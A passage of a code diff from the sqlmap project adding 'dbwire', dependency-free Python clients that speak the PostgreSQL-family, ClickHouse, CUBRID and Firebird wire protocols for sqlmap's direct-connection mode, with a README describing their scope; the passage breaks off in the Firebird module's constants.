+BC_POSTGRES="127.0.0.1:${PG_PORT}:esp:pass:espdb" \
+BC_MSSQL="127.0.0.1:59998:x:x" \
+BC_ORACLE="127.0.0.1:59997:x:x:x" \
+python3 "$HERE/boundarycheck.py"
+
+echo "[*] done. MSSQL/Oracle were not started here, so their engine-specific boundaries show in the"
+echo "    review list - add them per README.md for full coverage. Tearing down (trap removes containers)."

extra/cloak/cloak.py

@@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None):
         print(ex)
         print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
         sys.exit(1)
-    finally:
-        f.close()
 
     return data
 

extra/dbwire/README.md

@@ -0,0 +1,77 @@
+# dbwire
+
+Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct
+(`-d`) connection mode.
+
+## What this is
+
+sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It
+normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing,
+via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d`
+still works out of the box.
+
+Every module here is written against the database's **wire protocol** using only the Python standard
+library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party
+dependencies, and the sources run unmodified on Python 2.7 and Python 3.
+
+## Coverage
+
+A wire protocol is shared across a whole family of products, so one client serves several engines:
+
+| Module          | Protocol            | Engines |
+|-----------------|---------------------|---------|
+| `postgres.py`   | PostgreSQL v3       | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica |
+| `mysql.py`      | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona |
+| `tds.py`        | TDS 7.x             | Microsoft SQL Server |
+| `sybase.py`     | TDS 5.0             | Sybase / SAP ASE |
+| `firebird.py`   | Firebird wire       | Firebird 3 / 4 / 5 |
+| `cubrid.py`     | CUBRID CAS          | CUBRID |
+| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks |
+| `monetdb.py`    | MAPI                | MonetDB |
+| `presto.py`     | HTTP/REST (JSON)    | Presto, Trino |
+
+The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector
+tier order is: native driver, then SQLAlchemy, then dbwire.
+
+## Interface
+
+Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset:
+
+- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection`
+- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()`
+- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount`
+- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` ->
+  `OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` /
+  `NotSupportedError`)
+
+It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string
+(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so
+that sqlmap renders them as hex.
+
+## Scope and limitations
+
+This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement
+parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes:
+
+- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication.
+- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full
+  `caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not
+  supported; use a `mysql_native_password` account for the dependency-free path.
+- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database)
+  require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. LOGIN7 is the
+  Microsoft dialect (TDS 7.x) and does not reach Sybase - see the next bullet.
+- **TDS 5.0 (Sybase)** - cleartext LOGINREC login. The client declares no optional capabilities, so the
+  server converts anything exotic (`date`/`time`/`bigdatetime`, wide formats) down to the baseline types
+  before sending it. Packet size is whatever the login negotiates. Sends and expects UTF-8, so a server
+  running any character set is decoded correctly.
+- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by
+  default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented.
+- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as
+  their raw locator handles rather than fetched inline.
+
+When a case is not supported, the client raises a clear `NotSupportedError` rather than returning
+wrong data, so `-d` cleanly falls through to another connector tier where possible.
+
+---
+
+Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.

extra/dbwire/__init__.py

@@ -0,0 +1,126 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+dbwire - minimal, dependency-free (stdlib-only) database wire-protocol clients used as a fallback for
+sqlmap's direct ('-d') connection when no native driver (and no SQLAlchemy) is installed.
+
+Design note: connectors speak a *wire protocol*, not a product, so a single client covers the whole
+compatible family - e.g. the PostgreSQL client also serves CockroachDB, CrateDB, Redshift and Greenplum;
+a MySQL client serves MariaDB/TiDB/Aurora. Where a family split the protocol, so does the client: tds.py
+speaks Microsoft's TDS 7.x and sybase.py the TDS 5.0 that ASE kept. Each module exposes a small PEP 249
+(DB-API 2.0) subset (connect(), Connection.cursor()/commit()/close(), Cursor.execute()/fetchall()).
+"""
+
+import socket
+
+__version__ = "0.1"
+
+apilevel = "2.0"
+threadsafety = 1
+paramstyle = "pyformat"
+
+# PEP 249 exception hierarchy (shared by every wire module)
+class Error(Exception):
+    pass
+
+class InterfaceError(Error):
+    pass
+
+class DatabaseError(Error):
+    pass
+
+class OperationalError(DatabaseError):
+    pass
+
+class DataError(DatabaseError):
+    pass
+
+class IntegrityError(DatabaseError):
+    pass
+
+class ProgrammingError(DatabaseError):
+    pass
+
+class InternalError(DatabaseError):
+    pass
+
+class NotSupportedError(DatabaseError):
+    pass
+
+def http_origin(host, port):
+    """
+    'http://host:port', with a literal IPv6 address bracketed as RFC 3986 requires. Without the brackets
+    the colons in the address are parsed as the port separator and the URL is simply wrong.
+    """
+
+    host = host or "localhost"
+    if ":" in host and not host.startswith("["):
+        host = "[%s]" % host
+    return "http://%s:%d" % (host, int(port))
+
+
+def connection_lost(ex):
+    """
+    Turn a raw socket/OS failure into the DB-API hierarchy above.
+
+    Callers of a PEP 249 driver only ever catch Error and its subclasses, so a bare socket.error escaping
+    from a send/recv leaves them with an unhandled traceback instead of a handled connection failure.
+    """
+
+    return OperationalError("connection lost (%s)" % ex)
+
+def handshake_done(sock):
+    """
+    Drop the connect deadline, once the login exchange is over.
+
+    connect_timeout has to stay armed THROUGH the handshake, not just the TCP connect: a peer that
+    accepts the connection and then says nothing (a wrong port, a silent proxy, a dropping firewall) is
+    perfectly alive as far as keepalive() below is concerned, so an unbounded login read waits forever.
+    A query is the opposite case - see keepalive().
+    """
+
+    try:
+        sock.settimeout(None)
+    except Exception:
+        pass
+
+def keepalive(sock):
+    """
+    Ask the kernel to probe an idle connection, so a peer that dies without a FIN is eventually detected.
+
+    Deliberately NOT a read timeout: a legitimate query can take minutes on a big table, and a fixed
+    deadline would kill it. Keepalive distinguishes a dead peer from a slow one, which is the actual
+    failure being guarded against. Best-effort - the options are not portable everywhere.
+    """
+
+    try:
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
+        for name, value in (("TCP_KEEPIDLE", 60), ("TCP_KEEPINTVL", 10), ("TCP_KEEPCNT", 5)):
+            if hasattr(socket, name):
+                sock.setsockopt(socket.IPPROTO_TCP, getattr(socket, name), value)
+    except Exception:
+        pass
+
+def recvn(sock, n):
+    """
+    Read exactly n bytes off `sock`, or raise - every wire protocol here is framed, so a short read is a
+    desynchronized stream, not a smaller message.
+
+    Shared because it was five identical copies: a fix to the recv loop has to land once, not per module.
+    """
+
+    buf = b""
+    while len(buf) < n:
+        try:
+            chunk = sock.recv(n - len(buf))
+        except (socket.error, OSError) as ex:
+            raise connection_lost(ex)
+        if not chunk:
+            raise InterfaceError("connection closed by server")
+        buf += chunk
+    return buf

extra/dbwire/clickhouse.py

@@ -0,0 +1,143 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python ClickHouse client over its native HTTP interface (stdlib only, no clickhouse_connect).
+
+ClickHouse exposes an HTTP endpoint that runs a query in the request body and streams the result back in a
+chosen format; we use TabSeparatedWithNames (first line = column names, then tab-separated rows with
+backslash escaping and \\N for NULL). Covers ClickHouse and its HTTP-compatible forks.
+"""
+
+import base64
+import socket
+
+try:
+    from urllib.request import Request, urlopen        # Python 3
+    from urllib.error import HTTPError, URLError
+    from urllib.parse import quote
+except ImportError:
+    from urllib2 import Request, urlopen, HTTPError, URLError  # Python 2
+    from urllib import quote
+
+from extra.dbwire import OperationalError
+from extra.dbwire import http_origin
+from extra.dbwire import ProgrammingError
+
+# TabSeparated backslash escapes -> the literal byte they denote
+_ESCAPE = {ord("t"): 9, ord("n"): 10, ord("r"): 13, ord("0"): 0, ord("b"): 8,
+           ord("f"): 12, ord("a"): 7, ord("v"): 11, ord("\\"): 92, ord("'"): 39}
+
+def _unescape(value):
+    # value: the raw bytes of one TSV field -> None (\N) or the unescaped bytes. Operates on bytes because a
+    # String/FixedString column can hold arbitrary non-UTF-8 data, which a whole-body utf-8 decode would destroy.
+    if value == b"\\N":
+        return None
+    if b"\\" not in value:
+        return value
+    src, out, i, n = bytearray(value), bytearray(), 0, len(value)
+    while i < n:
+        c = src[i]
+        if c == 0x5c and i + 1 < n:  # backslash
+            out.append(_ESCAPE.get(src[i + 1], src[i + 1])); i += 2
+        else:
+            out.append(c); i += 1
+    return bytes(out)
+
+def _decode_cell(value):
+    # keep text as str; hand back raw bytes only when a value is not valid UTF-8 (sqlmap then hex-encodes it)
+    if value is None:
+        return None
+    try:
+        return value.decode("utf-8")
+    except UnicodeDecodeError:
+        return value
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise ProgrammingError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows = self.connection._query(query)
+        self.rowcount = len(self._rows)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, host, port, user, password, database, timeout):
+        # quote the database: a name with a reserved character would otherwise inject into the query string
+        self._url = "%s/?database=%s&default_format=TabSeparatedWithNames" % (http_origin(host, port), quote(database or "default", safe=""))
+        self._headers = {}
+        if user or password:
+            token = base64.b64encode(("%s:%s" % (user or "", password or "")).encode("utf-8")).decode("ascii")
+            self._headers["Authorization"] = "Basic %s" % token
+        self._timeout = timeout
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        pass  # ClickHouse statements are executed immediately (no client-side transaction)
+
+    def rollback(self):
+        pass
+
+    def close(self):
+        pass  # HTTP is stateless
+
+    def _query(self, query):
+        req = Request(self._url, data=query.encode("utf-8"), headers=self._headers)
+        try:
+            body = urlopen(req, timeout=self._timeout).read()  # bytes: column data may be non-UTF-8
+        except HTTPError as ex:
+            raise ProgrammingError("(remote) %s" % ex.read().decode("utf-8", "replace").strip())
+        except URLError as ex:
+            raise OperationalError("(remote) %s" % ex)
+        except (socket.timeout, socket.error) as ex:
+            raise OperationalError("(remote) %s" % ex)
+
+        if not body:
+            return None, []
+        lines = body.split(b"\n")
+        if lines and lines[-1] == b"":
+            lines.pop()
+        if not lines:
+            return None, []
+        description = [(name, None, None, None, None, None, None) for name in (_decode_cell(_unescape(_)) for _ in lines[0].split(b"\t"))]
+        rows = [tuple(_decode_cell(_unescape(_)) for _ in line.split(b"\t")) for line in lines[1:]]
+        return description, rows
+
+def connect(host=None, port=8123, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    connection = Connection(host or "localhost", int(port or 8123), user, password, database, connect_timeout)
+    try:
+        connection._query("SELECT 1")  # verify connectivity/credentials up front
+    except ProgrammingError:
+        raise
+    except Exception as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+    return connection

extra/dbwire/cubrid.py

@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib
+only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a
+cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented
+for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes
+(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent.
+"""
+
+import datetime
+import socket
+import struct
+
+from extra.dbwire import DatabaseError
+from extra.dbwire import DataError
+from extra.dbwire import InterfaceError
+from extra.dbwire import IntegrityError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import connection_lost
+from extra.dbwire import handshake_done
+from extra.dbwire import keepalive
+from extra.dbwire import recvn
+from extra.dbwire import ProgrammingError
+
+_MAGIC = b"CUBRK"
+_CLIENT_JDBC = 3
+_CAS_VERSION = 0x48  # PROTO_INDICATOR(0x40) | VERSION(8)
+
+# function codes (first raw byte of each request)
+_FC_END_TRAN = 1
+_FC_PREPARE = 2
+_FC_EXECUTE = 3
+_FC_SET_DB_PARAMETER = 5
+_FC_CLOSE_REQ_HANDLE = 6
+_FC_FETCH = 8
+_FC_CON_CLOSE = 31
+
+_TRAN_COMMIT = 1
+_TRAN_ROLLBACK = 2
+_PARAM_AUTO_COMMIT = 4
+
+_OID_SIZE = 8
+_STMT_SELECT = 21
+
+# CUBRID CCI_U_TYPE column type codes
+_T_CHAR = 1
+_T_STRING = 2
+_T_NCHAR = 3
+_T_VARNCHAR = 4
+_T_BIT = 5
+_T_VARBIT = 6
+_T_NUMERIC = 7
+_T_INT = 8
+_T_SHORT = 9
+_T_MONETARY = 10
+_T_FLOAT = 11
+_T_DOUBLE = 12
+_T_DATE = 13
+_T_TIME = 14
+_T_TIMESTAMP = 15
+_T_OBJECT = 19
+_T_BIGINT = 21
+_T_DATETIME = 22
+_T_BLOB = 23
+_T_CLOB = 24
+_T_ENUM = 25
+_T_JSON = 34
+_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON))
+_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB))
+
+_MAX_MESSAGE_LENGTH = 0x40000000  # guard against a hostile/corrupt length
+
+class _Writer(object):
+    # builds a request payload (after the 8-byte header): raw function code + length-prefixed args
+    def __init__(self, fc):
+        self._buf = bytearray(struct.pack(">B", fc))
+
+    def raw_int(self, v):
+        self._buf += struct.pack(">i", v); return self
+
+    def raw_byte(self, v):
+        self._buf += struct.pack(">B", v); return self
+
+    def arg_int(self, v):
+        self._buf += struct.pack(">ii", 4, v); return self
+
+    def arg_byte(self, v):
+        self._buf += struct.pack(">iB", 1, v); return self
+
+    def arg_null(self):
+        self._buf += struct.pack(">i", 0); return self
+
+    def arg_cache_time(self):
+        self._buf += struct.pack(">iii", 8, 0, 0); return self
+
+    def arg_nts(self, s):  # null-terminated string arg: [len(utf8)+1][utf8][00]
+        b = s.encode("utf-8")
+        self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self
+
+    def payload(self):
+        return bytes(self._buf)
+
+class _Reader(object):
+    def __init__(self, buf):
+        self._buf = buf
+        self._off = 0
+
+    def remaining(self):
+        return len(self._buf) - self._off
+
+    def byte(self):
+        v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v
+
+    def short(self):
+        v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v
+
+    def int(self):
+        v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v
+
+    def long(self):
+        v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v
+
+    def float(self):
+        v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v
+
+    def double(self):
+        v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v
+
+    def raw(self, n):
+        # a slice past the end returns short data *silently*, which would hand a truncated value to the
+        # caller (the fixed-width readers above raise struct.error instead)
+        if n < 0 or n > self.remaining():
+            raise InterfaceError("CAS response too short (wanted %d of %d bytes)" % (n, self.remaining()))
+        v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v)
+
+    def skip(self, n):
+        self._off += n
+
+    def nts(self, n):  # n bytes, drop one trailing NUL if present
+        b = self.raw(n)
+        if b and bytearray(b)[-1:] == bytearray(b"\x00"):
+            b = b[:-1]
+        return b
+
+def _decode_text(raw):
+    try:
+        return raw.decode("utf-8")
+    except UnicodeDecodeError:
+        return raw  # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy
+
+def _decode_value(reader, col_type, size):
+    if col_type in _STRING_TYPES:
+        return _decode_text(reader.nts(size))
+    if col_type in (_T_BIT, _T_VARBIT):
+        return reader.raw(size)
+    if col_type == _T_NUMERIC:
+        return _decode_text(reader.nts(size))  # DECIMAL arrives as ASCII text
+    if col_type == _T_INT:
+        return str(reader.int())
+    if col_type == _T_SHORT:
+        return str(reader.short())
+    if col_type == _T_BIGINT:
+        return str(reader.long())
+    if col_type == _T_FLOAT:
+        return repr(reader.float())
+    if col_type in (_T_DOUBLE, _T_MONETARY):
+        return repr(reader.double())
+    if col_type == _T_DATE:
+        y, mo, d = reader.short(), reader.short(), reader.short()
+        return "%s" % datetime.date(y, mo, d)
+    if col_type == _T_TIME:
+        h, mi, s = reader.short(), reader.short(), reader.short()
+        return "%s" % datetime.time(h, mi, s)
+    if col_type == _T_TIMESTAMP:
+        vals = [reader.short() for _ in range(6)]
+        return "%s" % datetime.datetime(*vals)
+    if col_type == _T_DATETIME:
+        y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7))
+        return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000)
+    if col_type == _T_OBJECT:
+        page, slot, vol = reader.int(), reader.short(), reader.short()
+        return "OID:@%d|%d|%d" % (page, slot, vol)
+    return reader.raw(size)  # BLOB/CLOB locator or unknown type -> raw bytes
+
+class _Column(object):
+    __slots__ = ("name", "type", "scale", "precision")
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows, self.rowcount = self.connection._query(query)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, host, port, user, password, database, timeout):
+        self._host = host
+        self._port = port
+        self._user = user
+        self._password = password
+        self._database = database
+        self._timeout = timeout
+        self._sock = None
+        self._cas_info = b"\x00\x00\x00\x00"
+        self._protocol_version = 8
+        self._open()
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT))
+
+    def rollback(self):
+        self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK))
+
+    def close(self):
+        try:
+            if self._sock is not None:
+                self._send(_Writer(_FC_CON_CLOSE).payload())
+        except Exception:
+            pass
+        self._safe_close()
+
+    # ---- connection / framing ----
+
+    def _safe_close(self):
+        try:
+            if self._sock is not None:
+                self._sock.close()
+        except Exception:
+            pass
+        self._sock = None
+
+    def _recvn(self, n):
+        return recvn(self._sock, n)
+
+    def _open(self):
+        # broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login
+        try:
+            sock = socket.create_connection((self._host, self._port), timeout=self._timeout)
+            keepalive(sock)
+            sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00")
+            self._sock = sock
+            (port,) = struct.unpack(">i", self._recvn(4))
+            if port < 0:
+                raise OperationalError("CUBRID broker rejected the connection (status %d)" % port)
+            if port > 0:  # redirected to a CAS worker: reconnect there, no second handshake
+                self._safe_close()
+                sock = socket.create_connection((self._host, port), timeout=self._timeout)
+                keepalive(sock)
+                self._sock = sock
+
+            login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32)
+            login += b"\x00" * 532  # 512 extended-info + 20 reserved
+            self._sock.sendall(login)
+            reader = self._read_response()
+            reader.int()             # response_code (>=0; errors already raised in _read_response)
+            broker = reader.raw(8)
+            self._protocol_version = bytearray(broker)[4] & 0x3f
+            # enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance)
+            self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1))
+        except (socket.error, socket.timeout) as ex:
+            self._safe_close()
+            raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex))
+        except Exception:   # a rejected login (or connection_lost() out of _recvn) is still ours to close
+            self._safe_close()
+            raise
+
+        handshake_done(self._sock)
+
+    @staticmethod
+    def _fixed(value, length):
+        b = (value or "").encode("utf-8")[:length]
+        return b + b"\x00" * (length - len(b))
+
+    def _send(self, payload):
+        # frame: [payload_len(4)][cas_info(4)][payload]
+        try:
+            self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload)
+        except (socket.error, OSError) as ex:
+            raise connection_lost(ex)
+
+    def _read_response(self):
+        (data_length,) = struct.unpack(">i", self._recvn(4))
+        if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH:
+            raise InterfaceError("invalid CAS response length (%d)" % data_length)
+        body = self._recvn(data_length + 4)  # cas_info(4) + payload(data_length)
+        self._cas_info = body[:4]
+        reader = _Reader(body[4:])
+        peek = struct.unpack_from(">i", body, 4)[0]
+        if peek < 0:  # error response: response_code(<0), errno, message
+            reader.int()
+            errno = reader.int()
+            message = _decode_text(reader.nts(reader.remaining()))
+            if not isinstance(message, str):
+                message = "errno %d" % errno
+            self._raise(errno, "(remote) %s" % message.strip())
+        return reader
+
+    def _call(self, writer):
+        # reconnect transparently if the CAS worker was released after a previous auto-committed statement
+        if self._sock is None or bytearray(self._cas_info)[0] == 0:
+            self._open()
+        try:
+            self._send(writer.payload() if isinstance(writer, _Writer) else writer)
+            return self._read_response()
+        except (struct.error, IndexError, ValueError) as ex:
+            raise InterfaceError("malformed server response: %s" % ex)
+
+    @staticmethod
+    def _raise(errno, message):
+        text = message.lower()
+        if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")):
+            raise IntegrityError(message)
+        if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before '")):
+            raise ProgrammingError(message)  # CUBRID points at the offending token as: before ' ,'y')'
+        if any(k in text for k in ("cast", "coerce", "conversion", "overflow", "truncat")):
+            raise DataError(message)
+        raise ProgrammingError(message)
+
+    # ---- query ----
+
+    def _query(self, query):
+        reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0))
+        handle = reader.int()
+        try:
+            return self._execute(handle, reader)
+        finally:
+            # release the broker-side request handle even when execute/fetch raised: a connection that
+            # survives a few failed statements would otherwise hold every one of them until it closes
+            try:
+                self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle))
+            except Exception:
+                pass
+
+    def _execute(self, handle, reader):
+        reader.int()                 # result cache lifetime
+        stmt_type = reader.byte()
+        reader.int()                 # bind count
+        reader.byte()                # is_updatable
+        columns = self._parse_columns(reader, reader.int())
+
+        # args: handle, flag, max_col_size, max_row, binds, fetch_flag, auto_commit, forward_only_cursor,
+        # cache_time, query_timeout. auto_commit makes the CAS worker commit the statement and end the
+        # transaction - without it DML is rolled back when the connection drops, whatever _open() asked
+        # SET_DB_PARAMETER for. It must stay off for a SELECT: ending the transaction there invalidates the
+        # request handle the paged _fetch_remaining() still reads from.
+        select = stmt_type == _STMT_SELECT
+        exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0)
+                       .arg_null().arg_byte(1 if select else 0)
+                       .arg_byte(0 if select else 1).arg_byte(1).arg_cache_time().arg_int(0))
+        reader = self._call(exec_writer)
+
+        total = reader.int()
+        reader.byte()                # cache reusable
+        result_count = reader.int()
+        result_infos = [self._parse_result_info(reader) for _ in range(result_count)]
+        if self._protocol_version > 1:
+            reader.byte()            # includes_column_info
+        if self._protocol_version > 4:
+            reader.int()             # shard_id
+
+        description, rows, rowcount = None, [], -1
+        if stmt_type == _STMT_SELECT and columns:
+            description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns]
+            if reader.remaining() >= 8:
+                reader.int()         # fetch code
+                tuple_count = reader.int()
+                rows = self._parse_rows(reader, tuple_count, columns)
+            rows += self._fetch_remaining(handle, columns, len(rows), total)
+        elif result_infos:
+            rowcount = result_infos[0]
+        return description, rows, rowcount
+
+    def _fetch_remaining(self, handle, columns, fetched, total):
+        rows = []
+        while fetched + len(rows) < total:
+            reader = self._call(_Writer(_FC_FETCH).arg_int(handle)
+                                .arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0))
+            reader.int()             # response code (>=0)
+            tuple_count = reader.int()
+            if tuple_count <= 0:
+                break
+            rows += self._parse_rows(reader, tuple_count, columns)
+        return rows
+
+    def _parse_result_info(self, reader):
+        reader.byte()                # stmt type
+        count = reader.int()         # affected rows
+        reader.raw(_OID_SIZE)
+        reader.int(); reader.int()   # cache time sec/usec
+        return count
+
+    def _parse_columns(self, reader, count):
+        columns = []
+        for _ in range(count):
+            col = _Column()
+            legacy = reader.byte()
+            col.type = reader.byte() if legacy & 0x80 else legacy
+            col.scale = reader.short()
+            col.precision = reader.int()
+            col.name = _to_str(reader.nts(reader.int()))
+            reader.nts(reader.int())          # real name
+            reader.nts(reader.int())          # table name
+            reader.byte()                     # is_nullable
+            reader.nts(reader.int())          # default value
+            reader.skip(7)                    # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared
+            columns.append(col)
+        return columns
+
+    def _parse_rows(self, reader, tuple_count, columns):
+        rows = []
+        for _ in range(tuple_count):
+            reader.int()             # row index
+            reader.skip(_OID_SIZE)
+            row = []
+            for col in columns:
+                size = reader.int()
+                if size <= 0:
+                    row.append(None)
+                else:
+                    row.append(_decode_value(reader, col.type, size))
+            rows.append(tuple(row))
+        return rows
+
+def _to_str(b):
+    v = _decode_text(b)
+    return v if isinstance(v, str) else v.decode("latin-1")
+
+def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    try:
+        return Connection(host or "localhost", int(port or 33000), user or "public",
+                          password or "", database or "", connect_timeout)
+    except (DatabaseError, InterfaceError):
+        raise
+    except Exception as ex:
+        raise OperationalError("CUBRID connection failed (%s)" % ex)

extra/dbwire/firebird.py

@@ -0,0 +1,870 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql).
+
+Speaks the Firebird v13-17 protocol (Firebird 3/4/5): op_connect, SRP-256 authentication, ChaCha20 (or
+Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare /
+execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes
+a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them).
+"""
+
+import datetime
+import hashlib
+import os
+import socket
+import struct
+
+from extra.dbwire import DatabaseError
+from extra.dbwire import DataError
+from extra.dbwire import IntegrityError
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import connection_lost
+from extra.dbwire import handshake_done
+from extra.dbwire import keepalive
+from extra.dbwire import recvn
+
+# operation codes
+_op_connect = 1
+_op_accept = 3
+_op_reject = 4
+_op_response = 9
+_op_attach = 19
+_op_detach = 21
+_op_transaction = 29
+_op_commit_retaining = 50
+_op_rollback_retaining = 86
+_op_get_segment = 36
+_op_close_blob = 39
+_op_open_blob2 = 56
+_op_allocate_statement = 62
+_op_execute = 63
+_op_fetch = 65
+_op_fetch_response = 66
+_op_free_statement = 67
+_op_prepare_statement = 68
+_op_info_sql = 70
+_op_dummy = 71
+_op_cont_auth = 92
+_op_crypt = 96
+_op_accept_data = 94
+_op_cond_accept = 98
+
+# CNCT parameter codes
+_CNCT_user = 1
+_CNCT_host = 4
+_CNCT_user_verification = 6
+_CNCT_specific_data = 7
+_CNCT_plugin_name = 8
+_CNCT_login = 9
+_CNCT_plugin_list = 10
+_CNCT_client_crypt = 11
+
+# database / transaction parameter block items
+_isc_dpb_version1 = 1
+_isc_dpb_user_name = 28
+_isc_dpb_lc_ctype = 48
+_isc_dpb_process_id = 71
+_isc_dpb_process_name = 74
+_isc_tpb_version3 = 3
+_isc_tpb_wait = 6
+_isc_tpb_write = 9
+_isc_tpb_read_committed = 15
